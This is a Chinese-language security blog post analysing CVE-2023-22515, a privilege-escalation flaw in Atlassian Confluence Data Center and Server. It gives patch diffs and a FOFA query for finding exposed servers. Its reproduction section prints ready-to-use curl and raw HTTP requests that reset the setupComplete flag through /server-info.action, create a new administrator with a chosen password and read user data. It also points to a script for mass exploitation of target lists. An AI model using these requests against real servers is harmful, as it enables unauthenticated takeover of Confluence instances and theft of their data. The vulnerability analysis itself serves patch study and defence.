烽火狼烟|Confluence Data Center & Server 权限提升漏洞

admin 2023年10月13日14:33:34评论80 views字数 23562阅读78分32秒阅读模式

点击蓝字 关注我们

声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。

一、漏洞介绍

Confluence是一个专业的企业知识管理与协同软件,也可以用于构建企业wiki。使用简单,它强大的编辑和站点管理特征能够帮助团队成员之间共享信息、文档协作、集体讨论,信息推送。

2023 年 10 月 4 日,东方隐侠监测到Atlassian 发布了 Atlassian Confluence Data Center & Server 权限提升漏洞(CVE-2023-22515)的漏洞情报。未经身份验证的攻击者可以远程利用此漏洞,并且可以利用该漏洞在目标 Confluence 服务器上创建新的管理员帐户。这可能会导致服务器中保存的数据的完整性和机密性完全丧失。由于该漏洞的根本原因允许攻击者修改关键配置设置,因此攻击者可能不仅限于创建新管理员,可能还有其他可用的利用途径

二、影响版本

  • 8.0.0 <= Atlassian Confluence < 8.3.3

  • 8.4.0 <= Atlassian Confluence < 8.4.3

  • 8.5.0 <= Atlassian Confluence < 8.5.2

三、网络测绘

app="Atlassian-Confluence"

四、漏洞分析

通过将最新的易受攻击的软件版本(版本 8.5.1)与已修补的版本(版本 8.5.2)进行比较来分析此漏洞,过程中需要提取所有 JAR 文件并反编译。

通过分析发现com.atlassian.xwork.interceptors.SafeParametersInterceptor 已被修改,Confluence 基于 Apache Struts 框架构建,并使用了 XWork2 框架。XWork 框架允许通过 HTTP 请求中提供的 HTTP 参数来设置 Java 对象的参数。这是 Confluence 的一个已知安全问题:

XWork allows the setting of complex parameters on an XWork action object. For example, a URL parameter of formData.name=Charles will be translated by XWork into the method calls getFormData().setName(“Charles”) by the XWork parameters interceptor. If getFormData() returns null, XWork will attempt to create a new object of the appropriate return type using its default constructorand then set it with setFormData(newObject).
This leads to the potential for serious security vulnerabilities in XWork actions, as you can effectively call arbitrary methods on an Action object.

SafeParametersInterceptor 类的修改意味着这可能是攻击的实现方式,SafeParametersInterceptor 类尝试过滤传入 HTTP 请求可以设置的参数。

--- "a/\Confluence\8.5.1\com\atlassian\xwork\interceptors\SafeParametersInterceptor.java"+++ "b/\Confluence\8.5.2\com\atlassian\xwork\interceptors\SafeParametersInterceptor.java"@@ -2,174 +2,74 @@  * Decompiled with CFR 0.152.  *   * Could not load the following classes:- *  com.opensymphony.xwork2.Action- *  com.opensymphony.xwork2.ActionContext- *  com.opensymphony.xwork2.ActionInvocation- *  com.opensymphony.xwork2.interceptor.NoParameters  *  com.opensymphony.xwork2.interceptor.ParametersInterceptor- *  com.opensymphony.xwork2.util.ValueStack- *  org.apache.struts2.dispatcher.HttpParameters  *  org.slf4j.Logger  *  org.slf4j.LoggerFactory  */ package com.atlassian.xwork.interceptors;  import com.atlassian.xwork.ParameterSafe;-import com.opensymphony.xwork2.Action;-import com.opensymphony.xwork2.ActionContext;-import com.opensymphony.xwork2.ActionInvocation;-import com.opensymphony.xwork2.interceptor.NoParameters; import com.opensymphony.xwork2.interceptor.ParametersInterceptor;-import com.opensymphony.xwork2.util.ValueStack; import java.beans.BeanInfo; import java.beans.IntrospectionException; import java.beans.Introspector; import java.beans.PropertyDescriptor; import java.lang.reflect.Method;-import java.util.Arrays;-import java.util.HashMap;-import java.util.HashSet;-import java.util.Map;-import java.util.Set; import java.util.regex.Pattern;-import org.apache.struts2.dispatcher.HttpParameters; import org.slf4j.Logger; import org.slf4j.LoggerFactory;  public class SafeParametersInterceptor extends ParametersInterceptor {     public static final Logger log = LoggerFactory.getLogger(SafeParametersInterceptor.class);-    public static final String PARAMETER_NAME_BLOCKED = "Parameter name blocked: ";-    private static final Pattern EXCLUDE_CLASS_PATTERN = Pattern.compile(".*class[^a-z0-9_].*", 2);-    private static final Pattern SAFE_PARAMETER_NAME_PATTERN = Pattern.compile("\w+((\.\w+)|(\[\d+\])|(\['[\w.]*'\]))*");-    private static final Set<String> BLOCKED_PARAMETER_NAMES = new HashSet<String>(Arrays.asList("actionErrors", "actionMessages"));-    private static final Pattern MAP_PARAMETER_PATTERN = Pattern.compile(".*\['[a-zA-Z0-9_]+'\]");-    private boolean disableAnnotationChecks = false;+    private static final Pattern MAP_PARAMETER_PATTERN = Pattern.compile(".*\['\w+']"); -    protected void after(ActionInvocation dispatcher, String result) throws Exception {+    protected boolean isAcceptableParameter(String name, Object action) {+        return super.isAcceptableParameter(name, action) && SafeParametersInterceptor.isSafeComplexParameter(name, action);     } -    public void setDisableAnnotationChecks(boolean disableAnnotationChecks) {-        this.disableAnnotationChecks = disableAnnotationChecks;-    }--    public String doIntercept(ActionInvocation invocation) throws Exception {-        this.before(invocation);-        return super.doIntercept(invocation);-    }--    protected boolean shouldNotIntercept(ActionInvocation actionInvocation) {-        return actionInvocation.getAction() instanceof NoParameters;-    }--    /*-     * WARNING - Removed try catching itself - possible behaviour change.-     */-    protected void before(ActionInvocation invocation) throws Exception {-        if (this.shouldNotIntercept(invocation)) {-            return;+    public static boolean isSafeComplexParameter(String key, Object action) {+        BeanInfo beanInfo;+        if (!SafeParametersInterceptor.isComplexParameter(key)) {+            return true;         }-        Action action = (Action)invocation.getAction();-        Map<String, Object> parameters = this.filterSafeParameters(this.retrieveParameters(invocation.getInvocationContext()), action);-        if (log.isDebugEnabled()) {-            log.debug("Setting params " + parameters);-        }-        ActionContext invocationContext = invocation.getInvocationContext();         try {-            invocationContext.put("xwork.NullHandler.createNullObjects", (Object)Boolean.TRUE);-            invocationContext.put("xwork.MethodAccessor.denyMethodExecution", (Object)Boolean.TRUE);-            invocationContext.put("report.conversion.errors", (Object)Boolean.TRUE);-            if (parameters != null) {-                ValueStack stack = ActionContext.getContext().getValueStack();-                for (Map.Entry<String, Object> entry : parameters.entrySet()) {-                    Long number;-                    String name = entry.getKey();-                    if (SafeParametersInterceptor.isNumeric(name) && (number = Long.valueOf(Long.parseLong(name))) > Integer.MAX_VALUE) {-                        name = name + 'L';-                    }-                    stack.setValue(name, entry.getValue());-                }-            }+            beanInfo = Introspector.getBeanInfo(action.getClass());         }-        finally {-            invocationContext.put("xwork.NullHandler.createNullObjects", (Object)Boolean.FALSE);-            invocationContext.put("xwork.MethodAccessor.denyMethodExecution", (Object)Boolean.FALSE);-            invocationContext.put("report.conversion.errors", (Object)Boolean.FALSE);-        }-    }--    private Map<String, Object> filterSafeParameters(HttpParameters parameters, Action action) {-        HashMap<String, Object> safeParameters = new HashMap<String, Object>();-        parameters.entrySet().stream().filter(entry -> SafeParametersInterceptor.isSafeParameterName((String)entry.getKey(), action, this.disableAnnotationChecks)).forEach(entry -> safeParameters.put((String)entry.getKey(), entry.getValue()));-        return safeParameters;-    }--    static boolean isSafeParameterName(String key, Action action) {-        return SafeParametersInterceptor.isSafeParameterName(key, action, true);-    }--    static boolean isSafeParameterName(String key, Action action, boolean disableAnnotationChecks) {-        if (BLOCKED_PARAMETER_NAMES.contains(key)) {-            return false;-        }-        if (EXCLUDE_CLASS_PATTERN.matcher(key).matches()) {-            log.info(PARAMETER_NAME_BLOCKED + key);+        catch (IntrospectionException e) {+            log.warn("Error introspecting action parameter {} for action {}", new Object[]{key, action, e});             return false;         }-        if (!SAFE_PARAMETER_NAME_PATTERN.matcher(key).matches()) {+        String operatingParameter = SafeParametersInterceptor.extractOperatingParameterName(key);+        for (PropertyDescriptor desc : beanInfo.getPropertyDescriptors()) {+            if (!desc.getName().equals(operatingParameter)) continue;+            if (SafeParametersInterceptor.isMethodDesignatedSafe(desc.getReadMethod())) {+                return true;+            }+            log.warn("Attempt to call unsafe property setter {} on {}", (Object)key, action);             return false;         }-        if (!disableAnnotationChecks && (key.contains(".") || MAP_PARAMETER_PATTERN.matcher(key).matches())) {-            return SafeParametersInterceptor.isSafeComplexParameterName(key, action);-        }-        return true;+        return false;     } -    private static boolean isSafeComplexParameterName(String key, Action action) {-        try {-            PropertyDescriptor[] descs;-            String initialParameterName = SafeParametersInterceptor.extractInitialParameterName(key);-            BeanInfo info = Introspector.getBeanInfo(action.getClass());-            for (PropertyDescriptor desc : descs = info.getPropertyDescriptors()) {-                if (!desc.getName().equals(initialParameterName)) continue;-                if (SafeParametersInterceptor.isSafeMethod(desc.getReadMethod())) {-                    return true;-                }-                log.info("Attempt to call unsafe property setter " + key + " on " + action);-                return false;-            }-        }-        catch (IntrospectionException e) {-            log.warn("Error introspecting action parameter " + key + " for action " + action + ": " + e.getMessage(), (Throwable)e);-        }-        return false;+    private static boolean isComplexParameter(String key) {+        return key.contains(".") || MAP_PARAMETER_PATTERN.matcher(key).matches();     } -    private static String extractInitialParameterName(String key) {+    private static String extractOperatingParameterName(String key) {         if (!key.contains("[") || key.indexOf(".") > 0 && key.indexOf("[") > key.indexOf(".")) {             return key.substring(0, key.indexOf("."));         }         return key.substring(0, key.indexOf("["));     } -    private static boolean isSafeMethod(Method writeMethod) {-        boolean isAnnotationTrue = false;-        boolean isReturnTypeTrue = false;-        if (writeMethod != null) {-            boolean bl = isAnnotationTrue = writeMethod.getAnnotation(ParameterSafe.class) != null;-        }-        if (writeMethod.getReturnType() != null) {-            isReturnTypeTrue = writeMethod.getReturnType().getAnnotation(ParameterSafe.class) != null;-        }-        return isAnnotationTrue || isReturnTypeTrue;-    }--    private static boolean isNumeric(String str) {-        for (char c : str.toCharArray()) {-            if (Character.isDigit(c)) continue;+    private static boolean isMethodDesignatedSafe(Method readMethod) {+        if (readMethod == null) {             return false;         }-        return true;+        boolean isMethodAnnotated = readMethod.getAnnotation(ParameterSafe.class) != null;+        boolean isReturnTypeAnnotated = readMethod.getReturnType().getAnnotation(ParameterSafe.class) != null;+        return isMethodAnnotated || isReturnTypeAnnotated;     } }


com.atlassian.confluence.impl.setup.BootstrapStatusProviderImpl 类已被修改。  

getApplicationConfig 和 getSetupPersister 方法都已更改。这些方法的修补版本都返回一个包装对象,根据所使用的命名约定,该对象被指定为只读。

--- "a/\Confluence\8.5.1\com\atlassian\confluence\impl\setup\BootstrapStatusProviderImpl.java"+++ "b/\Confluence\8.5.2\com\atlassian\confluence\impl\setup\BootstrapStatusProviderImpl.java"@@ -16,6 +16,8 @@ import com.atlassian.config.db.HibernateConfig; import com.atlassian.config.db.HibernateConfigurator; import com.atlassian.config.setup.SetupPersister; import com.atlassian.config.util.BootstrapUtils;+import com.atlassian.confluence.impl.setup.ReadOnlyApplicationConfig;+import com.atlassian.confluence.impl.setup.ReadOnlySetupPersister; import com.atlassian.confluence.setup.BootstrapManagerInternal; import com.atlassian.confluence.setup.BootstrapStatusProvider; import com.atlassian.confluence.setup.BootstrapStatusProviderException;@@ -93,12 +95,12 @@ BootstrapManagerInternal {      @Override     public ApplicationConfiguration getApplicationConfig() {-        return this.delegate.getApplicationConfig();+        return new ReadOnlyApplicationConfig(this.delegate.getApplicationConfig());     }      @Override     public SetupPersister getSetupPersister() {-        return this.delegate.getSetupPersister();+        return new ReadOnlySetupPersister(this.delegate.getSetupPersister());     }      @Override


探索新的 com.atlassian.confluence.impl.setup.ReadOnlyApplicationConfig 类,我们可以看到它使用委托(也称为代理)设计模式将调用转发到委托对象,同时重写一些方法以强制执行只读接口。
--- "a/\Confluence\8.5.1\com\atlassian\confluence\impl\setup\ReadOnlyApplicationConfig.java"+++ "b/\Confluence\8.5.2\com\atlassian\confluence\impl\setup\ReadOnlyApplicationConfig.java"@@ -0,0 +1,175 @@+/*+ * Decompiled with CFR 0.152.+ */+package com.atlassian.confluence.impl.setup;++import com.atlassian.config.ApplicationConfiguration;+import com.atlassian.config.ConfigurationException;+import com.atlassian.config.ConfigurationPersister;+import java.util.HashMap;+import java.util.Map;++public class ReadOnlyApplicationConfig+implements ApplicationConfiguration {+    private final ApplicationConfiguration delegate;++    public ReadOnlyApplicationConfig(ApplicationConfiguration delegate) {+        this.delegate = delegate;+    }++    @Override+    public String getApplicationHome() {+        return this.delegate.getApplicationHome();+    }++    @Override+    public void setApplicationHome(String home) throws ConfigurationException {+        throw new UnsupportedOperationException("Mutation not allowed");+    }++    @Override+    public boolean isApplicationHomeValid() {+        return this.delegate.isApplicationHomeValid();+    }++    @Override+    public void setProperty(Object key, Object value) {+        throw new UnsupportedOperationException("Mutation not allowed");+    }++    @Override+    public void setProperty(Object key, int value) {+        throw new UnsupportedOperationException("Mutation not allowed");+    }++    @Override+    public void setProperty(Object key, boolean value) {+        throw new UnsupportedOperationException("Mutation not allowed");+    }++    @Override+    public Object getProperty(Object key) {+        return this.delegate.getProperty(key);+    }++    @Override+    public boolean getBooleanProperty(Object key) {+        return this.delegate.getBooleanProperty(key);+    }++    @Override+    public int getIntegerProperty(Object key) {+        return this.delegate.getIntegerProperty(key);+    }++    @Override+    public Object removeProperty(Object key) {+        throw new UnsupportedOperationException("Mutation not allowed");+    }++    @Override+    public Map getProperties() {+        return new HashMap(this.delegate.getProperties());+    }++    @Override+    public String getBuildNumber() {+        return this.delegate.getBuildNumber();+    }++    @Override+    public void setBuildNumber(String build) {+        throw new UnsupportedOperationException("Mutation not allowed");+    }++    @Override+    public int getMajorVersion() {+        return this.delegate.getMajorVersion();+    }++    @Override+    public void setMajorVersion(int majorVersion) {+        throw new UnsupportedOperationException("Mutation not allowed");+    }++    @Override+    public int getMinorVersion() {+        return this.delegate.getMinorVersion();+    }++    @Override+    public void setMinorVersion(int minorVersion) {+        throw new UnsupportedOperationException("Mutation not allowed");+    }++    @Override+    public String getApplicationVersion() {+        return this.delegate.getApplicationVersion();+    }++    @Override+    public Map getPropertiesWithPrefix(String prefix) {+        return this.delegate.getPropertiesWithPrefix(prefix);+    }++    @Override+    public boolean isSetupComplete() {+        return this.delegate.isSetupComplete();+    }++    @Override+    public void setSetupComplete(boolean setupComplete) {+        throw new UnsupportedOperationException("Mutation not allowed");+    }++    @Override+    public void setConfigurationPersister(ConfigurationPersister config) {+        throw new UnsupportedOperationException("Mutation not allowed");+    }++    @Override+    public void save() throws ConfigurationException {+        throw new UnsupportedOperationException("Mutation not allowed");+    }++    @Override+    public void reset() {+        throw new UnsupportedOperationException("Mutation not allowed");+    }++    @Override+    public String getSetupType() {+        return this.delegate.getSetupType();+    }++    @Override+    public void setSetupType(String setupType) {+        throw new UnsupportedOperationException("Mutation not allowed");+    }++    @Override+    public String getCurrentSetupStep() {+        return this.delegate.getCurrentSetupStep();+    }++    @Override+    public void setCurrentSetupStep(String currentSetupStep) {+        throw new UnsupportedOperationException("Mutation not allowed");+    }++    @Override+    public void load() throws ConfigurationException {+        throw new UnsupportedOperationException("Mutation not allowed");+    }++    @Override+    public boolean configFileExists() {+        return this.delegate.configFileExists();+    }++    @Override+    public void setConfigurationFileName(String configurationFileName) {+        throw new UnsupportedOperationException("Mutation not allowed");+    }+}+
通过setSetupComplete 方法可以看到端倪,如通报所述,该漏洞被利用来在 Confluence 服务器的设置端点中执行操作。我们可以在下面看到,修补版本可以防止更改设置完成值。
@Overridepublic void setSetupComplete(boolean setupComplete) {    throw new UnsupportedOperationException("Mutation not allowed");}


最后我们可以注意到,Struts 操作 server-info 以及随附的 Java 类  com.atlassian.confluence.core.actions.ServerInfoAction 已被删除。可以通过 URI /server-info.action 访问此操作。
--- "a/\Confluence\atlassian-confluence-8.5.1\confluence\WEB-INF\lib\com.atlassian.confluence_confluence-8.5.1\struts.xml"+++ "b/\Confluence\atlassian-confluence-8.5.2\confluence\WEB-INF\lib\com.atlassian.confluence_confluence-8.5.2\struts.xml"@@ -14,7 +14,8 @@     <constant name="struts.action.excludePattern" value="^/rest/.*,^/plugins/servlet/.*"/>     <constant name="struts.xwork.chaining.copyErrors" value="true"/>     <constant name="struts.i18n.reload" value="${confluence.i18n.reloadbundles}"/>-    <constant name="struts.additional.excludedPatterns" value="^action(Errors|Messages)"/>+    <constant name="struts.additional.excludedPatterns" value="action(Errors|Messages)"/>+    <constant name="struts.override.acceptedPatterns" value="w+((.w+)|([d+])|(['w+']))*"/>     <constant name="struts.disableRequestAttributeValueStackLookup" value="true"/>     <!-- struts.action.chaining.variable.translation.enabled is a custom property implemented in Atlassian's fork of Struts 2.5.30 -->     <constant name="struts.action.chaining.variable.translation.enabled" value="false"/>@@ -495,9 +496,6 @@             <result name="success" type="velocity-xml">/admin/longrunningtask-xml.vm</result>         </action> -        <action name="server-info" class="com.atlassian.confluence.core.actions.ServerInfoAction">-            <result name="success" type="rawText">success</result>-        </action>     </package>      <package name="ajax" extends="default" namespace="/ajax">
--- "a/\Confluence\8.5.1\com\atlassian\confluence\core\actions\ServerInfoAction.java"+++ "b/\Confluence\8.5.2\com\atlassian\confluence\core\actions\ServerInfoAction.java"@@ -1,25 +0,0 @@-/*- * Decompiled with CFR 0.152.- * - * Could not load the following classes:- *  com.atlassian.xwork.HttpMethod- *  com.atlassian.xwork.PermittedMethods- */-package com.atlassian.confluence.core.actions;--import com.atlassian.annotations.security.XsrfProtectionExcluded;-import com.atlassian.confluence.core.ConfluenceActionSupport;-import com.atlassian.confluence.security.access.annotations.PublicAccess;-import com.atlassian.xwork.HttpMethod;-import com.atlassian.xwork.PermittedMethods;--public class ServerInfoAction-extends ConfluenceActionSupport {-    @PermittedMethods(value={HttpMethod.ANY_METHOD})-    @XsrfProtectionExcluded-    @PublicAccess-    public String execute() throws Exception {-        return "success";-    }-}-
通过读取 Atlassian 公告和补丁比较,攻击者可以尝试通过修改 Confluence 服务器的配置以将服务器设置选项改成“未完成”。继而攻击者就可以利用服务器设置端点/setup/setupadministrator.action创建新的管理员用户。
按照正常的安装情况来说,通过 Web 浏览器和/setup/ 路径下多个接口的 HTTP 请求来实现,向 /setup/setupadministrator.action 端点发送 POST 请求来创建新的管理员帐户。设置完成后,将阻止调用所有设置端点的请求。
curl -vk -X POST -H "X-Atlassian-Token: no-check" --data-raw "username=haxor&fullName=haxor&email=haxor%40localhost&password=Password2&confirm=Password2&setup-next-button=Next" http://xxx:8090/setup/setupadministrator.action
这个拦截机制是通过 struts.xml 文件实现的,其中包含了拦截器列表,这些拦截器在执行 Struts Action(例如 /setup/setupadministrator.action)之前(和之后)执行。其中一种拦截器是SetupCheckInterceptor
<struts>    <!-- ...snip... -->    <package name="default">       <!-- ...snip... -->        <interceptors>            <!-- ...snip... -->            <interceptor name="setup" class="com.atlassian.confluence.setup.actions.SetupCheckInterceptor"/>
SetupCheckInterceptor 将测试 BootstrapUtils.getBootstrapManager().isSetupComplete() 作为检查的一部分,以确定 Confluence 服务器是否已设置。
package com.atlassian.confluence.setup.actions;
import com.atlassian.config.util.BootstrapUtils;import com.atlassian.spring.container.ContainerManager;import com.opensymphony.xwork2.ActionInvocation;import com.opensymphony.xwork2.interceptor.Interceptor;
public class SetupCheckInterceptor implements Interceptor { public static final String ALREADY_SETUP = "alreadysetup"; public void destroy() {} public void init() {} public String intercept(ActionInvocation actionInvocation) throws Exception { if (BootstrapUtils.getBootstrapManager().isSetupComplete() && ContainerManager.isContainerSetup()) // <–-- return "alreadysetup"; return actionInvocation.invoke(); }}


检查 DefaultAtlassianBootstrapManager.isSetupComplete 的实现,我们可以看到应用程序配置方法 isSetupComplete 被调用来检查设置是否已完成。
public class DefaultAtlassianBootstrapManager implements AtlassianBootstrapManager {
// ...snip...
public boolean isSetupComplete() { return (isBootstrapped() && this.applicationConfig.isSetupComplete()); // <–-- }
// ...snip...}


如果我们可以使 isSetupComplete 返回 false,则 SetupCheckInterceptor 将不会返回“alreadysetup”,并且设置端点(例如 /setup/setupadministrator.action)将变得可访问。
正如我们通过比较补丁所看到的,com.atlassian.confluence.impl.setup.BootstrapStatusProviderImpl类已被修改以强制执行只读应用程序配置。因此需要以应用程序配置实例为目标,并使用 false 参数调用setSetupComplete方法。这将使 isSetupComplete 返回 false。
我们知道可利用 XWorks2 提供 HTTP 参数的功能来调用对象的 setter 方法。需要识别一个未经身份验证的端点,其 Action 对象还公开一个合适的 get 方法,该方法将允许我们访问应用程序配置。
接着查看com.atlassian.confluence.core.actions.ServerInfoAction 类继承的基类 com.atlassian.confluence.core.ConfluenceActionSupport。
public class ConfluenceActionSupport extends ActionSupport implements LocaleProvider, WebInterface, MessageHolderAware {
// ...snip...
public BootstrapStatusProvider getBootstrapStatusProvider() { if (this.bootstrapStatusProvider == null) this.bootstrapStatusProvider = BootstrapStatusProviderImpl.getInstance(); return this.bootstrapStatusProvider; }
// ...snip...}
getBootstrapStatusProvider 的 getter 方法,返回 BootstrapStatusProviderImpl 实例,BootstrapStatusProviderImpl 又具有一个 getter 方法 getApplicationConfig 来返回应用程序的配置。
public class BootstrapStatusProviderImpl implements BootstrapStatusProvider, BootstrapManagerInternal {
// ...snip...
public ApplicationConfiguration getApplicationConfig() { return this.delegate.getApplicationConfig(); }
// ...snip...}
最后,com.atlassian.config.ApplicationConfig类实现了setter方法setSetupComplete。
public class ApplicationConfig implements ApplicationConfiguration {
public synchronized void setSetupComplete(boolean setupComplete) { this.setupComplete = setupComplete; }
}
综上,从类 com.atlassian.confluence.core.ConfluenceActionSupport 中,调用以下方法链将 setupComplete 变量设置为 false
getBootstrapStatusProvider().getApplicationConfig().setSetupComplete(false);
XWorks2 将允许我们执行这种类型的 getter/setter 序列,使用 XWorks2 所需的符号构造一个 HTTP 参数,该参数实现上述方法调用链。
bootstrapStatusProvider.applicationConfig.setupComplete=false
在调试器中单步执行 SafeParametersInterceptor.doIntercept,我们可以观察到,虽然我们提供的参数是通过  SafeParametersInterceptor.filterSafeParameters 进行识别和过滤的,但这对底层基类ParametersInterceptor没有影响,它将继续处理提供的所有参数。
最后,我们可以通过针对未经身份验证的 /server-info.action 端点的以下 cURL 请求来触发该漏洞。
curl -vk http://XXXX:8090/server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=false
通过附加调试器,我们可以检查正在执行的 setSetupComplete(false)  调用。如下图所示,我们可以看到成员变量this.setupComplete为true,但提供给该方法的参数setupComplete为false。这是攻击者控制的值。
我们可以从调用堆栈中注意到,该方法调用源自   SafeParametersInterceptor.doIntercept,后者又调用了ParametersInterceptor.doIntercept,然后调用复杂的操作序列以反映到 Action 中,并通过攻击者提供的 getter/setter 设置属性链。

烽火狼烟|Confluence Data Center & Server 权限提升漏洞


完成上述操作后,我们向端点 /setup/setupadministrator.action 发出新请求,该请求现在将成功。已使用我们控制的密码创建了新管理员。
curl -vk -X POST -H "X-Atlassian-Token: no-check" --data-raw "username=dfyxfans&fullName=dfyxfans&email=dfyxfans%40localhost&password=Password2&confirm=Password2&setup-next-button=Next" http://XXXX:8090/setup/setupadministrator.action
为了避免向所有用户显示一条消息,表明安装已完成,我们可以向 /setup/finishsetup.action 端点发出请求。
curl -vk -X POST -H "X-Atlassian-Token: no-check" http://xxxx:8090/setup/finishsetup.action
现在,我们可以以新创建的管理员 dfyxfans 身份登录目标 Confluence 服务器。

烽火狼烟|Confluence Data Center & Server 权限提升漏洞


此漏洞的根本原因是攻击者能够在未经身份验证的端点的 Action 对象上执行复杂的 getter/setter 链,从而允许修改关键属性。
通过修改 setupComplete 变量,攻击者能够利用设置功能来创建新的管理员用户。但是,攻击者并不限于此,并且可以合理地假设,除了针对特定端点(例如继承自 ConfluenceActionSupport 的 /server-info.action(与许多其他操作一样))或利用创建新管理员用户的漏洞。

五、漏洞复现

1、可以尝试访问setup 的接口(可忽略该操作)

GET /setup/setupadministrator-start.action HTTP/1.1Host: xxxxxxUser-Agent: python-requests/2.26.0Accept-Encoding: gzip, deflate, brAccept: */*Connection: keep-alive

烽火狼烟|Confluence Data Center & Server 权限提升漏洞

显示已安装(Setup is aleready complete)

2、覆盖 setupComplete 属性

GET /server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=false HTTP/1.1Host: xxxUser-Agent: python-requests/2.26.0Accept-Encoding: gzip, deflate, brAccept: */*Connection: keep-alive

3、添加管理员

POST /setup/setupadministrator.action HTTP/1.1Host: xxxxUser-Agent: https://github.com/Chocapikk/CVE-2023-22515Accept-Encoding: gzip, deflateAccept: */*Connection: closeX-Atlassian-Token: no-checkContent-Length: 122Content-Type: application/x-www-form-urlencoded
username=dfyxfans&fullName=dfyxfans&email=dfyxfans%40localhost&password=Password2&confirm=Password2&setup-next-button=Next

烽火狼烟|Confluence Data Center & Server 权限提升漏洞

4、访问用户查看接口即可读取用户资料:、

GET http://xxx/rest/api/user?username=dfyxfans HTTP/1.1Host: xxxUser-Agent: https://github.com/Chocapikk/CVE-2023-22515Accept-Encoding: gzip, deflateAccept: */*Connection: closeX-Atlassian-Token: no-checkAuthorization: Basic dGVzdDU1NTU6UGFzc3dvcmQy

烽火狼烟|Confluence Data Center & Server 权限提升漏洞

并可成功登录

烽火狼烟|Confluence Data Center & Server 权限提升漏洞

自动化脚本请前往知识大陆获取

烽火狼烟|Confluence Data Center & Server 权限提升漏洞

python CVE-2023-22515.py normal XXXurlpython CVE-2023-22515.py mass targets.txt 

六、修复手段

目前,官方已发布修复建议,建议受影响的用户尽快升级至安全版本。

下载地址:https://www.atlassian.com/zh/software/confluence/download-archives

烽火狼烟|Confluence Data Center & Server 权限提升漏洞

· END·

团队会协助加入帮会的内部成员辅助漏洞挖掘工作,促进内部社群的交流氛围。欢迎各位师傅了解!
内部交流群:
烽火狼烟|Confluence Data Center & Server 权限提升漏洞

关注东方隐侠安全团队 为安全界刮起一股侠客风

        东方隐侠安全团队,一支专业的网络安全团队,将持续为您分享红蓝对抗、病毒研究、安全运营、应急响应等网络安全知识,提供一流网络安全服务,敬请关注!

烽火狼烟|Confluence Data Center & Server 权限提升漏洞


公众号|东方隐侠安全实验室

原文始发于微信公众号(东方隐侠安全实验室):烽火狼烟|Confluence Data Center & Server 权限提升漏洞

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年10月13日14:33:34
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   烽火狼烟|Confluence Data Center & Server 权限提升漏洞http://cn-sec.com/archives/2104936.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息